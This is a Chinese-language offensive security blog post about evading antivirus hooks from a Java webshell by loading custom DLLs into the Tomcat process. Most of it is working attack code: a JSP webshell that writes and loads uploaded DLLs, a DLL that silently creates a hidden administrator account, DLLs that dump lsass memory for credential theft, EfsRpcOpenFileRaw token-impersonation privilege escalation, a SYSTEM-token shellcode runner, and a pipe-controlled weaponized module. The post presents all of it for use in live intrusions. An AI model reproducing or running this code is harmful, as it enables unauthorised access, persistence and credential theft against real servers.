通过动态链接库绕过反病毒软件Hook - Break JVM
通常情况下获得Java Webshell碰到数字杀毒的场景居多,在这个环境中经常会遇到无法执行命令或命令被拦截的情况,很多小伙伴遇到这个问题就劝退了,我猜测是有一套进程链的检测方式导致了命令无法执行,于是去查看Java的文档,查阅到Java能够加载动态链接库且能够执行动态链接库中的代码,本文演示如何利用Java加载动态链接库的方式实现绕过了数字杀毒的拦截.....
0x00 前言
通常情况下获得Java Webshell碰到数字杀毒的场景居多,在这个环境中经常会遇到无法执行命令或命令被拦截的情况,很多小伙伴遇到这个问题就劝退了,我猜测是有一套进程链的检测方式导致了命令无法执行,于是去查看Java的文档,查阅到Java能够加载动态链接库且能够执行动态链接库中的代码,本文演示如何利用Java加载动态链接库的方式实现绕过了数字杀毒的拦截,但在演示之前,需要铺垫一些基础知识,如:猜想的进程链、Windows错误代码、Java加载动态链接库常见的三种办法、Windows动态链接库、土豆提权原理、命名管道技术等。
0x01 猜想的进程链
在获取Webshell以后,一般执行命令都会调用 Runtime.exec
,当然也有其他的命令执行方式,这里不再讨论,执行的命令一般分为两种:
- 系统自带的PE文件,后面跟上参数
- CMD或Powershell中内置的命令
例如: dir
命令与 forfiles
命令,这两个命令都可以列出文件夹内的文件,但要执行 dir
需要启动 cmd.exe
或者 powershell.exe
,执行的过程中进程链就像这样:
在这个过程里,进程的链是 java.exe
创建了 cmd.exe
,那么很容易就能发现问题,每执行一条命了都会创建一个 cmd.exe
的进程。从 Runtime.exec
执行命令到Windows API CreateProcess 创建 cmd.exe
这个进程是通过JVM翻译过来的,数字杀毒会Hook CreateProcess API达到监控拦截的目的。
而forfiles是一个PE文件,不是CMD内置的命令,所以不需要创建 cmd.exe
也可以执行,它的进程链会是这样:
达到了同样的目的,但是没有创建 cmd.exe
,为了体验上的考量现在的大部分Webshell管理工具执行命令都是要创建cmd.exe的,那么如何让我们的操作都不创建 cmd.exe
呢?
其实只需要改一下原来的小马即可:
public static void main(String[] args) { try { // String cmdStr = "cmd.exe /c forfiles.exe /p C:\\" ; String cmdStr = "forfiles.exe /p C:\\" ; Runtime.getRuntime().exec(cmdStr); }catch(Exception e){ e.printStackTrace(); } }
这样虽然不会创建进程,但大部分命令还是会拦截,例如:net.exe net1.exe
0x02 Windows错误代码
经常会遇到一些Windows下的工具刨出Error Code 5,到底代表什么意思?
这个Error Code 5其实是Windows的错误代码,每一个代码都代表了不同的含义。
查询错误代码的含义可以通过 net helpmsg
命令:
Visual Studio 有一个工具可以查询错误代码,名为errlookup:
有的时候Webshell管理工具并没有直接给出错误代码的含义,而是直接抛出错误代码,这种情况就能使用命令或者工具去查询,了解错误的发生到底是因为什么问题。
0x03 Java加载动态链接库常见的三种办法
Java加载动态链接库常见的有三种办法:
- System.load / System.loadLibrary
- Runtime.getRuntime().load
- com.sun.glass.utils.NativeLibLoader.loadLibrary
private void RuntimeLoad(String path){ Runtime.getRuntime().load(path); } private void SystemLoad(String path){ System.load(path); } // 有些JDK版本没有这个对象,因此采用反射加载进行运行 private void NativeLoad(String path) throws Exception{ Class Native = Class.forName("com.sun.glass.utils.NativeLibLoader"); if(Native != null){ java.lang.reflect.Method Load = Native.getDeclaredMethod("loadLibrary",String.class); Load.invoke(path); } }
第三种有些JDK版本没有这个对象,因此采用反射加载进行运行。
大致流程如下:
System.load
→ Runtime.getRuntime**()**.load0**()**
→ ClassLoader.loadLibrary
→ NativeLibrary.load
→ native void load*(*String name, boolean isBuiltin*)*
我实现了一个简单版本的DLL加载JSP代码,确保每一个请求都可以加载一个DLL模块到Java进程中:
<jsp:declaration> // 获取随机的动态链接库文件名称 private String getFileName(){ String fileName = ""; java.util.Random random = new java.util.Random(System.currentTimeMillis()); String os = System.getProperty("os.name").toLowerCase(); if (os.contains("windows")){ fileName = "C:\\Windows\\Temp\\" + random.nextInt(10000000) + ".dll"; }else { fileName = "/tmp/"+ random.nextInt(10000000) + ".so"; } return fileName; } // JSP 声明函数中无法获取全局默认的ServletRequest对象,但ServletRequest继承java.io.InputStream,可以替代 public String UploadBase64DLL(java.io.InputStream stream) throws Exception { sun.misc.BASE64Decoder b = new sun.misc.BASE64Decoder(); java.io.File file = new java.io.File(getFileName()); java.io.FileOutputStream fos = new java.io.FileOutputStream(file); fos.write(b.decodeBuffer(stream)); fos.close(); return file.getAbsolutePath(); } private void RuntimeLoad(String path){ Runtime.getRuntime().load(path); } private void SystemLoad(String path){ System.load(path); } // 有些JDK版本没有这个对象,因此采用反射加载进行运行 private void NativeLoad(String path) throws Exception{ Class Native = Class.forName("com.sun.glass.utils.NativeLibLoader"); if(Native != null){ java.lang.reflect.Method Load = Native.getDeclaredMethod("loadLibrary",String.class); Load.invoke(path); } } </jsp:declaration> <jsp:scriptlet> // 加载方式 String method = request.getHeader("WWW-Authenticate"); try{ ServletInputStream stream = request.getInputStream(); if (stream.available() == 0){ out.println(System.getProperty("os.arch")); return; } String file = UploadBase64DLL(stream); // 按照Header头选择加载方式 switch (method){ case "1": RuntimeLoad(file); break; case "2": SystemLoad(file); break; case "3": NativeLoad(file); break; default: RuntimeLoad(file); break; } }catch (Exception e){ System.out.println(e.toString()); } </jsp:scriptlet>
0x04 Windows 动态链接库
DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型。 在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。在Windows平台下,我们使用的应用程序中的功能其实大多都很相似,窗口调用窗口的模块,分配内存调用内存管理的模块,文件操作调用IO模块,这些模块在Windows里的具体表现就是DLL文件。
在之前的文章中有简单总结过Dll的一些知识,这里就不做详细介绍了:
在Windows操作系统中,每一个进程加载一个DLL都会默认执行DLLMain函数,利用这个加载的特性我们可以在Java.exe进程中做一些敏感操作,并且这个进程是白名单、签名的。
0x05 实战绕过数字杀毒添加用户
前提条件:
- 有一个管理员权限的Webshell
- 编写一个添加用户的DLL
首先上传之前写好的专门用于加载DLL的JSP文件,然后编写一个添加用户的DLL文件:
// dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "pch.h" #include <windows.h> #include <string.h> #include <lmaccess.h> #include <lmerr.h> #include <Tchar.h> #pragma comment(lib,"netapi32.lib") DWORD CreateAdminUserInternal(void) { NET_API_STATUS rc; BOOL b; DWORD dw; USER_INFO_1 ud; LOCALGROUP_MEMBERS_INFO_0 gd; SID_NAME_USE snu; DWORD cbSid = 256; // 256 bytes should be enough for everybody :) BYTE Sid[256]; DWORD cbDomain = 256 / sizeof(TCHAR); TCHAR Domain[256]; // // Create user // http://msdn.microsoft.com/en-us/library/aa370649%28v=VS.85%29.aspx // memset(&ud, 0, sizeof(ud)); ud.usri1_name = (LPWSTR)TEXT("audit"); // username ud.usri1_password = (LPWSTR)TEXT("Test123456789!"); // password ud.usri1_priv = USER_PRIV_USER; // cannot set USER_PRIV_ADMIN on creation ud.usri1_flags = UF_SCRIPT | UF_NORMAL_ACCOUNT; // must be set ud.usri1_script_path = NULL; rc = NetUserAdd( NULL, // local server 1, // information level (LPBYTE)&ud, NULL // error value ); if (rc != NERR_Success) { _tprintf(_T("NetUserAdd FAIL %d 0x%08x\r\n"), rc, rc); return rc; } // // Get user SID // http://msdn.microsoft.com/en-us/library/aa379159(v=vs.85).aspx // b = LookupAccountName( NULL, // local server _T("audit"), // account name Sid, // SID &cbSid, // SID size Domain, // Domain &cbDomain, // Domain size &snu // SID_NAME_USE (enum) ); if (!b) { dw = GetLastError(); _tprintf(_T("LookupAccountName FAIL %d 0x%08x\r\n"), dw, dw); return dw; } // // Add user to "Administrators" local group // http://msdn.microsoft.com/en-us/library/aa370436%28v=VS.85%29.aspx // memset(&gd, 0, sizeof(gd)); gd.lgrmi0_sid = (PSID)Sid; rc = NetLocalGroupAddMembers( NULL, // local server _T("Administrators"), 0, // information level (LPBYTE)&gd, 1 // only one entry ); if (rc != NERR_Success) { _tprintf(_T("NetLocalGroupAddMembers FAIL %d 0x%08x\r\n"), rc, rc); return rc; } return 0; } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: CreateAdminUserInternal(); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
在DllMain函数中调用CreateAdminUserInternal实现添加管理员用户audit。将dll文件进行base64编码,发送到加载动态链接库的jsp页面,就可以绕过数字杀毒添加用户了:
发送之前:
发送之后:
至此管理员用户添加成功。
当DLL的编译架构与Java进程的位数不同,加载会失败,抛出: Can't load AMD 64-bit .dll on a IA 32-bit platform。
这个问题只需要调整DLL的编译架构就行:
同样的我们还可以调用comsvcs.dll导出的MiniDumpW转储lsass.exe进程的内存。
// dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "pch.h" #include <windows.h> #include <DbgHelp.h> #include <iostream> #include <TlHelp32.h> #pragma comment( lib, "Dbghelp.lib" ) typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline); bool EnableDebugPrivilege() { HANDLE hThis = GetCurrentProcess(); HANDLE hToken; OpenProcessToken(hThis, TOKEN_ADJUST_PRIVILEGES, &hToken); LUID luid; LookupPrivilegeValue(0, TEXT("seDebugPrivilege"), &luid); TOKEN_PRIVILEGES priv; priv.PrivilegeCount = 1; priv.Privileges[0].Luid = luid; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, false, &priv, sizeof(priv), 0, 0); CloseHandle(hToken); CloseHandle(hThis); return true; } int Dump() { EnableDebugPrivilege(); WCHAR commandLine[MAX_PATH]; _MiniDumpW MiniDumpW; DWORD lsassPID = 0; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 processEntry = {}; processEntry.dwSize = sizeof(PROCESSENTRY32); LPCWSTR processName = L""; //遍历lsass.exe 的PID if (Process32First(snapshot, &processEntry)) { while (_wcsicmp(processName, L"lsass.exe") != 0) { Process32Next(snapshot, &processEntry); processName = processEntry.szExeFile; lsassPID = processEntry.th32ProcessID; } } MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW"); _itow(lsassPID, commandLine, 10); lstrcatW(commandLine, L" C:\\Windows\\Temp\\111.sql full"); MiniDumpW(0, 0, commandLine); return 0; } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: Dump(); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
编译成DLL文件发送过去后,我们可以看到Tomcat.exe或者Java.exe的Debug权限已经被开启:
在 C:\Windows\Temp
目录下已经生成进程的内存转储文件。
注意:如果Tomcat是以SERVICE账户启动的,那么直接加载DLL会造成Tomcat直接崩溃无法工作,这些敏感操作的失败会引发系统的错误处理程序,最终导致Tomcat进程关闭,在实战中应根据业务的重要程度谨慎操作。
为了避免类似的风险情况,我增加了权限判断、重复转储判断:
// dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "pch.h" #include <windows.h> #include <DbgHelp.h> #include <iostream> #include <TlHelp32.h> #pragma comment( lib, "Dbghelp.lib" ) #define _CRT_SECURE_NO_WARNINGS typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline); BOOL CheckPrivilege() { BOOL state; SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY; PSID AdministratorsGroup; state = AllocateAndInitializeSid( &NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, SECURITY_LOCAL_SYSTEM_RID, DOMAIN_GROUP_RID_ADMINS,0, 0, 0, 0, &AdministratorsGroup); if (state) { if (!CheckTokenMembership(NULL, AdministratorsGroup, &state)) { state = FALSE; } FreeSid(AdministratorsGroup); } return state; } BOOL EnableDebugPrivilege() { HANDLE hThis = GetCurrentProcess(); HANDLE hToken; OpenProcessToken(hThis, TOKEN_ADJUST_PRIVILEGES, &hToken); LUID luid; LookupPrivilegeValue(0, TEXT("seDebugPrivilege"), &luid); TOKEN_PRIVILEGES priv; priv.PrivilegeCount = 1; priv.Privileges[0].Luid = luid; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BOOL isEnabiled = AdjustTokenPrivileges(hToken, false, &priv, sizeof(priv), 0, 0); if (isEnabiled) { CloseHandle(hToken); CloseHandle(hThis); return TRUE; } return FALSE; } DWORD GetLsassPID() { DWORD lsassPID = 0; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 processEntry = {}; processEntry.dwSize = sizeof(PROCESSENTRY32); LPCWSTR processName = L""; //遍历lsass.exe 的PID if (Process32First(snapshot, &processEntry)) { while (_wcsicmp(processName, L"lsass.exe") != 0) { Process32Next(snapshot, &processEntry); processName = processEntry.szExeFile; lsassPID = processEntry.th32ProcessID; } } return lsassPID; } BOOL CheckFileExists(PWCHAR file) { WIN32_FIND_DATA FindFileData; HANDLE hFind = FindFirstFileEx(file, FindExInfoStandard, &FindFileData,FindExSearchNameMatch, NULL, 0); if (hFind == INVALID_HANDLE_VALUE) { return FALSE; } return TRUE; } int Dump() { WCHAR commandLine[MAX_PATH]; WCHAR DumpFile[] = L"C:\\Windows\\Temp\\111.sql"; _MiniDumpW MiniDumpW; DWORD lsassPID = 0; if (!CheckPrivilege()) { return -1; } if (!EnableDebugPrivilege()) { return -1; } if (CheckFileExists(DumpFile)) { return 0; } lsassPID = GetLsassPID(); MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW"); _itow_s(lsassPID, commandLine, 10); lstrcatW(commandLine, L" "); lstrcatW(commandLine, DumpFile); lstrcatW(commandLine, L" full"); MiniDumpW(0, 0, commandLine); return 0; } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: Dump(); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
首先判断权限是否是管理员或者SYSTEM权限,然后尝试启用SE_DEBUG权限,最后才进行转储,代码我上传到了Github仓库: http://github.com/Rvn0xsy/j2osWin
0x06 将Java进程进行权限提升
Tomcat 有三种权限运行模式:
● Local Service ● Network Service ● Users 默认安装好的Tomcat会自动运行在Local Service账户下,意味着权限很低,如果目标安装了数字杀毒,就更加难以实现提权。
解决办法:
- 利用System.LoadLibrary技术在Tomcat本身进程种执行任意代码
- 利用执行任意代码的特点来进行土豆提权
- 利用模拟Token创建执行Shellcode的线程,所有的交互通过Webshell与系统管道通信实现
0x06.1 EfsRpcOpenFileRaw 提权
土豆提权的原理:在Windows操作系统中,如果当前账户是Local Service/Network Service,那么大部分情况下会有一个令牌模拟的权限,当高权限连接到Service账户开启的服务时,Service账户就可以通过令牌模拟获取客户端的权限来执行任意代码。
注意:令牌模拟仅是将当前线程的Token进行临时替换为客户端的令牌,其次,土豆提权仅限于本地操作系统才能工作,域内一般发起请求的都是域账户,或有同一账户体系的可信网络内。
土豆提权中有一个关于 MS-EFSR RPC接口的利用方式,通过创建一个命名管道,然后调用EfsRpcOpenFileRaw让SYSTEM特权账户连接到命名管道实现提权。 @zcgonvh 公开了一个C#的利用代码,并且我还请教了他,这里感谢头像哥的解答。
创建命名管道部分实现代码:
if (!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION)) { wprintf(L"InitializeSecurityDescriptor() failed. Error: %d - ", GetLastError()); LocalFree(pwszPipeName); return; } // 设置安全描述符 if (!ConvertStringSecurityDescriptorToSecurityDescriptorW(L"D:(A;OICI;GA;;;WD)", 1, &((&sa)->lpSecurityDescriptor), NULL)) { wprintf(L"ConvertStringSecurityDescriptorToSecurityDescriptor() failed. Error: %d\n", GetLastError()); LocalFree(pwszPipeName); return; } // 创建管道 hPipe = CreateNamedPipe(pwszPipeName, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 2048, 2048, 0, &sa); if (hPipe == INVALID_HANDLE_VALUE) { return; } wprintf(L"[*] NamedPipe '%ls' listening...\n", pwszPipeName); // 一直等待客户端连接,方便持续调用 for (;;) { if (ConnectNamedPipe(hPipe, NULL) > 0) { wprintf(L"[+] A client connected!\n"); // 模拟客户端Token if (!ImpersonateNamedPipeClient(hPipe)) { // 如果无法模拟就断开连接 DisconnectNamedPipe(hPipe); continue; } GetUserName(szUser, &dwSize); wprintf(L"[+] Impersonating dummy :) : %s\n\n\n\n", szUser); // 将特权Token赋值到全局变量中 OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &g_hSystemToken); if (g_ShellcodeBuffer != NULL && g_dwShellcodeSize != 0) { // 如果Shellcode不为空,就开始创建线程执行 ExecuteShellCodeWithToken(g_hSystemToken); } DisconnectNamedPipe(hPipe); } }
触发RPC连接实现代码:
RPC_STATUS status; RPC_WSTR pszStringBinding; RPC_BINDING_HANDLE BindingHandle; status = RpcStringBindingCompose( NULL, (RPC_WSTR)L"ncacn_np", (RPC_WSTR)L"\\\\127.0.0.1", (RPC_WSTR)L"\\pipe\\lsass", NULL, &pszStringBinding ); status = RpcBindingFromStringBinding(pszStringBinding, &BindingHandle); status = RpcStringFree(&pszStringBinding); RpcTryExcept{ PVOID pContent; LPWSTR pwszFileName; pwszFileName = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR)); StringCchPrintf(pwszFileName, MAX_PATH, L"\\\\127.0.0.1/pipe/random\\C$\\x"); long result; wprintf(L"[*] Invoking EfsRpcOpenFileRaw with target path: %ws\r\n", pwszFileName); result = EfsRpcOpenFileRaw( BindingHandle, &pContent, pwszFileName, 0 ); status = RpcBindingFree( &BindingHandle // Reference to the opened binding handle ); LocalFree(pwszFileName); } RpcExcept(1) { wprintf(L"RpcExcetionCode: %d\n", RpcExceptionCode()); return FALSE; }RpcEndExcept
每次调用EfsRpcOpenFileRaw都会触发SYSTEM进程连接命名管道,然后再通过ImpersonateNamedPipeClient模拟SYSTEM进程的权限执行代码,当ImpersonateNamedPipeClient函数调用成功后,当前线程的Token其实已经变成了SYSTEM账户的,特权代码执行完成后还可以用RevertToSelf恢复到原来的线程Token。
在我实现成功后遇到数字杀毒会拦截提权的行为,其实很多土豆提权成功后,会复制一份Token去创建进程,一般调用CreateProcessWithToken和CreateProcessAsUser比较多,被拦截的时候会是这样:
因此常规的办法是不行了,于是请教了头像哥,他的回复与我想的一样,用高权限的Token去跑一个特权线程,利用这个特权线程去执行Shellcode。
void ExecuteShellCodeWithToken(HANDLE hToken) { HANDLE hThread = INVALID_HANDLE_VALUE; DWORD dwThreadId = 0; HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0); PVOID Mptr = HeapAlloc(hHeap, 0, g_dwShellcodeSize); RtlCopyMemory(Mptr, g_ShellcodeBuffer, g_dwShellcodeSize); hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)Mptr, NULL, CREATE_SUSPENDED, &dwThreadId); SetThreadToken(&hThread, hToken); ResumeThread(hThread); }
思路如下:
- 将Shellcode拷贝到可执行堆内存块中
- 创建一个暂停的线程
- 将特权Token设置覆盖掉暂停的线程Token
- 恢复线程执行
成功执行Shellcode后的样子是这样的:
上线的User是SYSTEM,但是whoami是Local Service,这是因为当前线程是SYSTEM的,获取用户名的GetUserName API是以当前线程Token作为权限查询的,而创建进程时并不会直接复制模拟的特权Token,这个时候只需要使用CobaltStrike的进程注入到其他SYSTEM进程即可。解决完Local Service提权到SYSTEM被数字杀毒拦截的问题后,那就要思考如何做武器化了,因为在实战中不可能上传一个个DLL文件,我需要把所有的代码写到一个DLL中,通过控制JSP Webshell的参数来达到各种功能的调用。
0x07 武器化的思路与实现
所有的代码跑在Tomcat的进程里的,而且只能执行DLLMain,那么怎么通过某种技术可以使得发送一个Web请求就执行DLL中的一些功能呢?
这个问题其实并没有难倒我,最简单的办法是用文件传递参数,每个Web请求过来后往文件中写内容,然后DLLMain里写一个循环读取也可以,但是文件的读写容易被干扰,并且涉及到线程的控制,稍微干扰一下就产生读写问题,容错率不高。
最终我采用了管道的形式,在DLLMain被执行时就创建一个命名管道,每个请求会连接管道往里写入16进制的单字节指令。
部分代码:
for (;;) { if (ConnectNamedPipe(hPipe, NULL) > 0) { CHAR szBuffer[BUFF_SIZE]; BYTE bMethod; // 操作方法 ZeroMemory(szBuffer, BUFF_SIZE); wprintf(L"[+] Client Connected...\n"); // 读取操作方法 ReadFile(hPipe, &bMethod, 1, &dwLen, NULL); switch (bMethod) { case METHOD_WMI_CREATE_PROCESS: /// <summary> /// 调用WMIC创建进程,无回显 /// 参数:process /// </summary> /// <param name=""></param> /// <returns></returns> ReadFile(hPipe, szBuffer, BUFF_SIZE, &dwLen, NULL); CheckSuccessAndSendMsg(WMICCreateProcess(char2wchar(szBuffer)), hPipe); break; case METHOD_MINIDUMP_LSASS: /// <summary> /// 高权限的情况下转储Lsass进程内存 /// 参数:dump /// </summary> /// <param name=""></param> /// <returns></returns> CheckSuccessAndSendMsg(MiniDumpLsass(), hPipe); break; case METHOD_ADD_USER: /// <summary> /// 高权限的情况下添加用户 /// 参数:user /// </summary> /// <param name=""></param> /// <returns></returns> CheckSuccessAndSendMsg(CreateAdminUserInternal(), hPipe); break; case METHOD_SHELL_CODE_LOADE: /// <summary> /// 执行Shellcode /// 参数:code /// </summary> /// <param name=""></param> /// <returns></returns> ReadFile(hPipe, szBuffer, BUFF_SIZE, &dwLen, NULL); CheckSuccessAndSendMsg(ExecuteShellCode(szBuffer, dwLen), hPipe); break; case METHOD_GETSYSTEM: /// <summary> /// 创建命名管道 /// 参数:system /// </summary> /// <param name=""></param> /// <returns></returns> CheckSuccessAndSendMsg(Service2System(), hPipe); break; case METHOD_SYSTEM_EXECUTE: /// <summary> /// 触发RPC连接提权管道 /// 参数:system-run /// </summary> /// <param name=""></param> /// <returns></returns> CheckSuccessAndSendMsg(Execute(), hPipe); break; case METHOD_SET_SYSTEM_SHELLCODE: /// <summary> /// 设置全局Shellcode /// 参数:system-code /// </summary> /// <param name=""></param> /// <returns></returns> ZeroMemory(szBuffer, BUFF_SIZE); ReadFile(hPipe, szBuffer, BUFF_SIZE, &dwLen, NULL); g_ShellcodeBuffer = new char[dwLen]; RtlCopyMemory(g_ShellcodeBuffer, szBuffer, dwLen); g_dwShellcodeSize = dwLen; break; case METHOD_UNSET_SYSTEM_SHELLCODE: /// <summary> /// 清空全局Shellcode /// 参数:system-uncode /// </summary> /// <param name=""></param> /// <returns></returns> g_dwShellcodeSize = 0; g_ShellcodeBuffer = NULL; break; default: break; } // 关闭连接 DisconnectNamedPipe(hPipe); }
METHOD开头的常量代表了不同的功能:
#define PIPE_NAME L"\\\\.\\pipe\\josPipe" #define BUFF_SIZE 1024 #define METHOD_WMI_CREATE_PROCESS 0x00 // WMIC 创建进程 #define METHOD_SHELL_CODE_LOADE 0x01 // SHELLCODE 加载 #define METHOD_MINIDUMP_LSASS 0x02 // 转储Lsass.exe #define METHOD_ADD_USER 0x03 // 添加用户 #define METHOD_GETSYSTEM 0x04 // 利用EFS获取SYSTEM的Token #define METHOD_SYSTEM_EXECUTE 0x05 // 以SYSTEM权限执行命令 #define METHOD_SET_SYSTEM_SHELLCODE 0x07 // 设置Shellcode #define METHOD_UNSET_SYSTEM_SHELLCODE 0x08 // 取消设置Shellcode
Java Webshell的改造代码如下:
<%@ page import="java.io.RandomAccessFile" %> <%! private String getFileName(){ String fileName = ""; java.util.Random random = new java.util.Random(System.currentTimeMillis()); String os = System.getProperty("os.name").toLowerCase(); if (os.contains("windows")){ fileName = "C:\\Windows\\Temp\\" + random.nextInt(10000000) + ".dll"; }else { fileName = "/tmp/"+ random.nextInt(10000000) + ".so"; } return fileName; } public String UploadBase64DLL(java.io.InputStream stream) throws Exception { sun.misc.BASE64Decoder b = new sun.misc.BASE64Decoder(); java.io.File file = new java.io.File(getFileName()); java.io.FileOutputStream fos = new java.io.FileOutputStream(file); fos.write(b.decodeBuffer(stream)); fos.close(); return file.getAbsolutePath(); } private void RuntimeLoad(String path){ Runtime.getRuntime().load(path); } private void SystemLoad(String path){ System.load(path); } private void NativeLoad(String path) throws Exception{ Class Native = Class.forName("com.sun.glass.utils.NativeLibLoader"); if(Native != null){ java.lang.reflect.Method Load = Native.getDeclaredMethod("loadLibrary",String.class); Load.invoke(path); } } //</jsp:declaration> %> <% String pipeName = "\\\\.\\pipe\\josPipe"; try{ String method = request.getHeader("WWW-Authenticate"); if(method == null){ out.println("Start"); return; } if (method.equals("load")){ ServletInputStream stream = request.getInputStream(); String file = UploadBase64DLL(stream); RuntimeLoad(file); }else if (method.equals("dump")){ RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw"); pipe.write(0x02); if(pipe.readByte() == 0x01){ out.println("OK"); }else{ out.println("Failed"); } pipe.close(); }else if (method.equals("process")){ RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw"); pipe.write(0x00); pipe.write(request.getHeader("Content-Method").getBytes()); if(pipe.readByte() == 0x01){ out.println("OK"); }else{ out.println("Failed"); } pipe.close(); }else if (method.equals("user")){ RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw"); pipe.write(0x03); if(pipe.readByte() == 0x01){ out.println("OK"); }else{ out.println("Failed"); } pipe.close(); }else if (method.equals("code")){ RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw"); pipe.write(0x01); pipe.write(new sun.misc.BASE64Decoder().decodeBuffer(request.getInputStream())); if(pipe.readByte() == 0x01){ out.println("OK"); }else{ out.println("Failed"); } pipe.close(); }else if (method.equals("system")){ RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw"); pipe.write(0x04); if(pipe.readByte() == 0x01){ out.println("OK"); }else{ out.println("Failed"); } pipe.close(); }else if (method.equals("system-run")){ RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw"); pipe.write(0x05); if(pipe.readByte() == 0x01){ out.println("OK"); }else{ out.println("Failed"); } pipe.close(); }else if (method.equals("system-code")){ RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw"); pipe.write(0x07); pipe.write(new sun.misc.BASE64Decoder().decodeBuffer(request.getInputStream())); pipe.close(); }else if (method.equals("system-uncode")){ RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw"); pipe.write(0x08); pipe.close(); } }catch (Exception e){ System.out.println(e.toString()); } %>
java.io.RandomAccessFile
可以读写命令管道,通过修改Header头 WWW-Authenticate
来控制不同的功能,每个功能都有一个16进制的编号,剩余的Body内容将会被放到其他内存区域,以供功能函数调用读取,如此以来解决了每个请求都可以执行不同功能的问题,只发送一次DLL就可以将DLL模块打入Tomcat/Java进程的内存中执行,并且利用管道读写的特性也能够实现数据的回显,这个已经在示例代码中体现出来了。
SERVICE提权到SYSTEM权限并执行任意代码的流程示例图如下:
公开的DLL模块代码: http://github.com/Rvn0xsy/j2osWin
演示视频:暂无。
- 最新CS RCE曲折的复现路
- 白描终于出 Win 版了!超火的图片转文字工具九月特惠价 18 元起,终生免费更新
- 盛邦安全入选IDC TechScape中国数据安全发展路线图推荐厂商,为API安全治理提供新思路
- MiraclePtr UAF 漏洞利用缓解技术介绍
- 【技术原创】渗透基础——Exchange版本探测的优化
- “直播电商”带货场景分析
- 三成热门的PyPI软件包被误标为是恶意软件包
- Windows Server服务中的身份验证漏洞的安全风险
- XCon专访 | 百度安全部副总经理冯景辉:百度AI安全建设的两个核心要点
- Linux恶意软件兴起:保护开源软件(OSS)的9个技巧
- TeamTNT 的 DockerHub 凭据泄露漏洞
- 独立开发变现周刊(第73期) : 0美元营销预算创建年收入7.2万美元的产品交易市场
- EPUB Manga Creator – 把漫画图片打包成 EPUB 格式
- 漏洞预警|Apache Kafka 拒绝服务漏洞
- 权威研报:知道创宇抗DDoS产品居市场竞争力领导者象限
- 印象笔记竞品 Notesnook 正式开源
- 打造密码硬核技术 三未信安重磅推出全“芯”系列密码卡、密码机
- 嘶吼专访 | 融安网络创始人陈桂耀:创业是一条通往山顶的路,你只能上,不能下
- 某知名系统漏洞挖掘与利用思路探索
- 北信源持续领跑终端安全管理市场,累计15年位居中国终端安全管理市场占有率第一!